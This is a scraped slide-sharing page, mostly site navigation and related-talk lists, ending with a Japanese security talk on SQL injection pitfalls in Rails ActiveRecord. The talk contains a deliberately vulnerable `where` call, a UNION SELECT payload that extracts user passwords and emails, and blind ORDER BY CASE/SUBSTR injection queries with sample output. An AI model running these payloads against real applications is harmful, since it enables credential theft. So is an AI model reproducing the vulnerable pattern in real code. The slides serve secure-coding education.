Enviar búsqueda
Cargar
Rails SQL Injection Examplesの紹介
•
38 recomendaciones
•
14,193 vistas
Hiroshi Tokumaru
Seguir
Denunciar
Compartir
Denunciar
Compartir
1 de 45
Recomendados
【BS7】GitHubをフル活用した開発
【BS7】GitHubをフル活用した開発
日本マイクロソフト株式会社
OSS+AWSでここまでできるDevSecOps (Security-JAWS第24回)
OSS+AWSでここまでできるDevSecOps (Security-JAWS第24回)
Masaya Tahara
わたくし、やっぱりCDKを使いたいですわ〜CDK import編〜.pdf
わたくし、やっぱりCDKを使いたいですわ〜CDK import編〜.pdf
ssuser868e2d
OpenStackを使用したGPU仮想化IaaS環境 事例紹介
OpenStackを使用したGPU仮想化IaaS環境 事例紹介
VirtualTech Japan Inc.
ネットワークでなぜ遅延が生じるのか
ネットワークでなぜ遅延が生じるのか
Jun Kato
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
Kumazaki Hiroki
Redisの特徴と活用方法について
Redisの特徴と活用方法について
Yuji Otani
強いて言えば「集約どう実装するのかな、を考える」な話
強いて言えば「集約どう実装するのかな、を考える」な話
Yoshitaka Kawashima
Recomendados
【BS7】GitHubをフル活用した開発
【BS7】GitHubをフル活用した開発
日本マイクロソフト株式会社
OSS+AWSでここまでできるDevSecOps (Security-JAWS第24回)
OSS+AWSでここまでできるDevSecOps (Security-JAWS第24回)
Masaya Tahara
わたくし、やっぱりCDKを使いたいですわ〜CDK import編〜.pdf
わたくし、やっぱりCDKを使いたいですわ〜CDK import編〜.pdf
ssuser868e2d
OpenStackを使用したGPU仮想化IaaS環境 事例紹介
OpenStackを使用したGPU仮想化IaaS環境 事例紹介
VirtualTech Japan Inc.
ネットワークでなぜ遅延が生じるのか
ネットワークでなぜ遅延が生じるのか
Jun Kato
本当は恐ろしい分散システムの話
本当は恐ろしい分散システムの話
Kumazaki Hiroki
Redisの特徴と活用方法について
Redisの特徴と活用方法について
Yuji Otani
強いて言えば「集約どう実装するのかな、を考える」な話
強いて言えば「集約どう実装するのかな、を考える」な話
Yoshitaka Kawashima
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
歩 柴田
並列対決 Elixir × Go × C# x Scala , Node.js
並列対決 Elixir × Go × C# x Scala , Node.js
Yoshiiro Ueno
マルチテナント化で知っておきたいデータベースのこと
マルチテナント化で知っておきたいデータベースのこと
Amazon Web Services Japan
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
Mikiya Okuno
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
Masahito Zembutsu
20分でわかるgVisor入門
20分でわかるgVisor入門
Shuji Yamada
マイクロサービスバックエンドAPIのためのRESTとgRPC
マイクロサービスバックエンドAPIのためのRESTとgRPC
disc99_
Docker Tokyo
Docker Tokyo
cyberblack28 Ichikawa
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
Takaya Saeki
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
Yusuke Suzuki
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
Trainocate Japan, Ltd.
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
Yahoo!デベロッパーネットワーク
What's new in Spring Boot 2.6 ?
What's new in Spring Boot 2.6 ?
土岐 孝平
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
infinite_loop
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
infinite_loop
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
Nobuhiro Nakayama
ゲームエンジニアのためのデータベース設計
ゲームエンジニアのためのデータベース設計
sairoutine
HSM超入門講座
HSM超入門講座
Hiroshi Nakamura
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
ota42y
20200212 AWS Black Belt Online Seminar AWS Systems Manager
20200212 AWS Black Belt Online Seminar AWS Systems Manager
Amazon Web Services Japan
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
Más contenido relacionado
La actualidad más candente
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
歩 柴田
並列対決 Elixir × Go × C# x Scala , Node.js
並列対決 Elixir × Go × C# x Scala , Node.js
Yoshiiro Ueno
マルチテナント化で知っておきたいデータベースのこと
マルチテナント化で知っておきたいデータベースのこと
Amazon Web Services Japan
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
Mikiya Okuno
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
Masahito Zembutsu
20分でわかるgVisor入門
20分でわかるgVisor入門
Shuji Yamada
マイクロサービスバックエンドAPIのためのRESTとgRPC
マイクロサービスバックエンドAPIのためのRESTとgRPC
disc99_
Docker Tokyo
Docker Tokyo
cyberblack28 Ichikawa
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
Takaya Saeki
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
Yusuke Suzuki
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
Trainocate Japan, Ltd.
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
Yahoo!デベロッパーネットワーク
What's new in Spring Boot 2.6 ?
What's new in Spring Boot 2.6 ?
土岐 孝平
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
infinite_loop
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
infinite_loop
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
Nobuhiro Nakayama
ゲームエンジニアのためのデータベース設計
ゲームエンジニアのためのデータベース設計
sairoutine
HSM超入門講座
HSM超入門講座
Hiroshi Nakamura
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
ota42y
20200212 AWS Black Belt Online Seminar AWS Systems Manager
20200212 AWS Black Belt Online Seminar AWS Systems Manager
Amazon Web Services Japan
La actualidad más candente
(20)
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
2016/12/15 SQLチューニングと対戦格闘ゲームの類似性について語る。 JPOUG Advent Calendar 2016 Day 15
並列対決 Elixir × Go × C# x Scala , Node.js
並列対決 Elixir × Go × C# x Scala , Node.js
マルチテナント化で知っておきたいデータベースのこと
マルチテナント化で知っておきたいデータベースのこと
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
なぜ、いま リレーショナルモデルなのか(理論から学ぶデータベース実践入門読書会スペシャル)
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
Rancher/Kubernetes入門ハンズオン資料~第2回さくらとコンテナの夕べ #さくらの夕べ 番外編
20分でわかるgVisor入門
20分でわかるgVisor入門
マイクロサービスバックエンドAPIのためのRESTとgRPC
マイクロサービスバックエンドAPIのためのRESTとgRPC
Docker Tokyo
Docker Tokyo
WebAssemblyのWeb以外のことぜんぶ話す
WebAssemblyのWeb以外のことぜんぶ話す
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
マイクロサービス化デザインパターン - #AWSDevDay Tokyo 2018
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
AWSとオンプレミスを繋ぐときに知っておきたいルーティングの基礎知識(CCSI監修!)
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
実運用して分かったRabbit MQの良いところ・気をつけること #jjug
What's new in Spring Boot 2.6 ?
What's new in Spring Boot 2.6 ?
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
大規模ソーシャルゲーム開発から学んだPHP&MySQL実践テクニック
新入社員のための大規模ゲーム開発入門 サーバサイド編
新入社員のための大規模ゲーム開発入門 サーバサイド編
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
ゲームエンジニアのためのデータベース設計
ゲームエンジニアのためのデータベース設計
HSM超入門講座
HSM超入門講座
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
20200212 AWS Black Belt Online Seminar AWS Systems Manager
20200212 AWS Black Belt Online Seminar AWS Systems Manager
Destacado
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
Hiroshi Tokumaru
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
XSS再入門
XSS再入門
Hiroshi Tokumaru
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Hiroshi Tokumaru
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
Phpcon2015
Phpcon2015
Hiroshi Tokumaru
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
CSRF脆弱性について
CSRF脆弱性について
Masaaki Kakimoto
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
Hiroshi Tokumaru
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
Hiroshi Tokumaru
徳丸本ができるまで
徳丸本ができるまで
Hiroshi Tokumaru
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
Hiroshi Tokumaru
UnicodeによるXSSとSQLインジェクションの可能性
UnicodeによるXSSとSQLインジェクションの可能性
Hiroshi Tokumaru
文字コードに起因する脆弱性とその対策
文字コードに起因する脆弱性とその対策
Hiroshi Tokumaru
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
Destacado
(20)
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
SecurityとValidationの奇妙な関係、あるいはDrupalはなぜValidationをしたがらないのか
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
XSS再入門
XSS再入門
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Phpcon2015
Phpcon2015
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
CSRF脆弱性について
CSRF脆弱性について
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
phpMyAdminにおけるスクリプト実行可能な脆弱性3種盛り合わせ
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
WAS Forum 2010カンファレンス:ケータイ2.0が開けてしまったパンドラの箱
徳丸本ができるまで
徳丸本ができるまで
ガラケーで楽しむオレJSの勧め
ガラケーで楽しむオレJSの勧め
UnicodeによるXSSとSQLインジェクションの可能性
UnicodeによるXSSとSQLインジェクションの可能性
文字コードに起因する脆弱性とその対策
文字コードに起因する脆弱性とその対策
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Similar a Rails SQL Injection Examplesの紹介
ArcBox のおさらいと最新情報
ArcBox のおさらいと最新情報
Kazuki Takai
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Kazuki Takai
DTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめ
Mikiya Okuno
Slick入門
Slick入門
chibochibo
Ruby で扱う LDAP のススメ
Ruby で扱う LDAP のススメ
Kazuaki Takase
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
Meiji Kimura
Programming AWS with Perl at YAPC::Asia 2013
Programming AWS with Perl at YAPC::Asia 2013
Yasuhiro Horiuchi
Aerospike xdr (Cross Datacenter Replication)
Aerospike xdr (Cross Datacenter Replication)
Makoto Uehara
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
Hadoop / Spark Conference Japan
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Issei Nishigata
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
Google Cloud Platform - Japan
Chugoku db 20th-postgresql-10-pub
Chugoku db 20th-postgresql-10-pub
Toshi Harada
C#実装から見るDDD(ドメイン駆動設計)
C#実装から見るDDD(ドメイン駆動設計)
Takuya Kawabe
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
Hiroh Satoh
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
真吾 吉田
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
Fumiyasu Sumiya
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
Cloudera Japan
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
Koichi Sakata
AWS小ネタ集
AWS小ネタ集
Takehito Tanabe
PostgreSQL Unconference #29 Unicode IVS
PostgreSQL Unconference #29 Unicode IVS
Noriyoshi Shinoda
Similar a Rails SQL Injection Examplesの紹介
(20)
ArcBox のおさらいと最新情報
ArcBox のおさらいと最新情報
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
Azure Arc Jumpstart - Azure ArcBox を使った Azure Arc 対応 SQL MI 学習環境の構築
DTraceによるMySQL解析ことはじめ
DTraceによるMySQL解析ことはじめ
Slick入門
Slick入門
Ruby で扱う LDAP のススメ
Ruby で扱う LDAP のススメ
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
オープンソースRDBMS新機能ランダウンOSC2017TokyoSpring
Programming AWS with Perl at YAPC::Asia 2013
Programming AWS with Perl at YAPC::Asia 2013
Aerospike xdr (Cross Datacenter Replication)
Aerospike xdr (Cross Datacenter Replication)
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
HadoopとRDBMSをシームレスに連携させるSmart SQL Processing (Hadoop Conference Japan 2014)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
Solr6 の紹介(第18回 Solr勉強会 資料) (2016年6月10日)
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
アプリ開発者、DB 管理者視点での Cloud Spanner 活用方法 | 第 10 回 Google Cloud INSIDE Games & App...
Chugoku db 20th-postgresql-10-pub
Chugoku db 20th-postgresql-10-pub
C#実装から見るDDD(ドメイン駆動設計)
C#実装から見るDDD(ドメイン駆動設計)
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
サーバーレスのアーキテクチャパターンとそれぞれの実装・テストの勘所
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
【JJUG CCC 2016 Fall 公開版】ドメイン駆動設計とscala 〜既存プロジェクトへの適用〜
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
G-Tech2015 Hadoop/Sparkを中核としたビッグデータ基盤_20151006
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
クリスマスを支える俺たちとJava(JJUG CCC 2015 Spring AB4)
AWS小ネタ集
AWS小ネタ集
PostgreSQL Unconference #29 Unicode IVS
PostgreSQL Unconference #29 Unicode IVS
Más de Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
SQLインジェクション再考
SQLインジェクション再考
Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
秀スクリプトの話
秀スクリプトの話
Hiroshi Tokumaru
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
ウェブセキュリティの常識
ウェブセキュリティの常識
Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
Más de Hiroshi Tokumaru
(20)
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
SQLインジェクション再考
SQLインジェクション再考
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
秀スクリプトの話
秀スクリプトの話
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
ウェブセキュリティの常識
ウェブセキュリティの常識
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
Rails SQL Injection Examplesの紹介
1.
Rails SQL Injection
Examplesの紹介 2014年6月11日 徳丸 浩
2.
Rails SQL Injection
Examplesとは Copyright © 2010-2014 HASH Consulting Corp. 2
3.
Rails SQL Injection
Examplesとは 3http://rails-sqli.org/ より引用 Ruby on Railsの ActiveRecordのメソッド やオプションの指定方法 の誤りによるSQLインジェ クションのサンプル集
4.
Example1:whereメソッド 4http://rails-sqli.org/ より引用
5.
whereメソッドの用途と注意点 • SQLのWHERE句を「生で」指定できる • 文字列連結でWHERE句を組み立てると、普通 にSQLインジェクション脆弱となる •
正しくはプレイスホルダを使う(後述) • 前述の例は認証回避の例だが…飽きたw Copyright © 2010-2014 HASH Consulting Corp. 5
6.
脆弱性のあるアプリケーション Copyright © 2010-2014
HASH Consulting Corp. 6 @books = Book.where( "publish = '#{params[:publish]}' AND price >= #{params[:price]}") 山田 祥寛 (著) Ruby on Rails 4 アプリケーションプログラミング 技術評論社 (2014/4/11) に脆弱性を加えましたw ※元本に脆弱性があるわけではありません
7.
UNION SELECTにより個人情報を窃取 Copyright ©
2010-2014 HASH Consulting Corp. 7 priceに以下を入れる 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users -- SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >= 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at, updated_at FROM users --)
8.
対策 プレースホルダ 8Ruby on
Rails 4 アプリケーションプログラミング、山田 祥寛より引用
9.
Example2: orderメソッド 9http://rails-sqli.org/ より引用
10.
ORDER BY (CASE
SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って? • ORDER BY の後には式が書ける • 以下のSQL文は算数と国語の点数の合計でソートす る – SELECT * FROM 成績 ORDER BY (算数+国語) • 以下の式は、password列の一文字目が s なら 0 そうでなければ 1 を返す – CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 ELSE 1 END • よって、このORDER BYは、「パスワードの一文字目 が s」の利用者を先頭に集めるソート…だが、しかし Copyright © 2010-2014 HASH Consulting Corp. 10
11.
どういうページを想定しているのか? Copyright © 2010-2014
HASH Consulting Corp. 11 こういうページですか? わかりません (>_<) これでは、 元々が個人情 報漏えいだw
12.
とは言え、やってみた Copyright © 2010-2014
HASH Consulting Corp. 12 # SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd, 1, 1) WHEN 'a' THEN 0 else 1 END) asc; id | userid | passwd | tel | mail ----+-----------+--------+--------------+--------------------- 1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp 2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp 3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp 4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp パスワードの一文字目が「a」は、実際には2件該当している http://ror4:3000/users?order=(C ASE+SUBSTR(passwd,1,1)+WH EN+'a'+THEN+0+else+1+END) パスワードの一文字目が「a」のも のを先頭に持ってきたが、何件該 当するかが分からない。0件の可 能性もある
13.
課題は二つ • 個人情報の一覧ページがあり、ソート順を指定で きるという想定が現実的でない • 特定のソート条件は指定できるが、該当件数が わからない Copyright
© 2010-2014 HASH Consulting Corp. 13
14.
改良1: 別の一覧と個人情報をマップする Copyright ©
2010-2014 HASH Consulting Corp. 14
15.
書籍の一覧と個人情報をマップする Copyright © 2010-2014
HASH Consulting Corp. 15 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by passwd; id | title | userid | passwd ----+------------------------------------+-----------+------- 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 4 | 書き込み式SQLのドリル | takahashi | cdcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
16.
ORDER BYの副問い合わせ Copyright ©
2010-2014 HASH Consulting Corp. 16 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); (select case when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に else 1 -- その他は後ろに end from users where books.id=users.id) ORDER BY の副問い合わせ
17.
userid=ockeghemと対応する行を見つける Copyright © 2010-2014
HASH Consulting Corp. 17 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd 先頭行がuserid=ockeghemに対応
18.
改良2: セパレータとなる行を挟む Copyright ©
2010-2014 HASH Consulting Corp. 18
19.
ORDER BYの副問い合わせ Copyright ©
2010-2014 HASH Consulting Corp. 19 =# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); (select case userid when 'tanaka' then 0 -- 'tanaka' を先頭に when 'ockeghem' then 1 -- 'ockeghem' はセパレータ else 2 -- その他は後ろに end from users where books.id=users.id) ※セパレータがないと、'tanaka'が存在しない場合を区別できない ORDER BY の副問い合わせ
20.
userid=tanakaと対応する行を見つける Copyright © 2010-2014
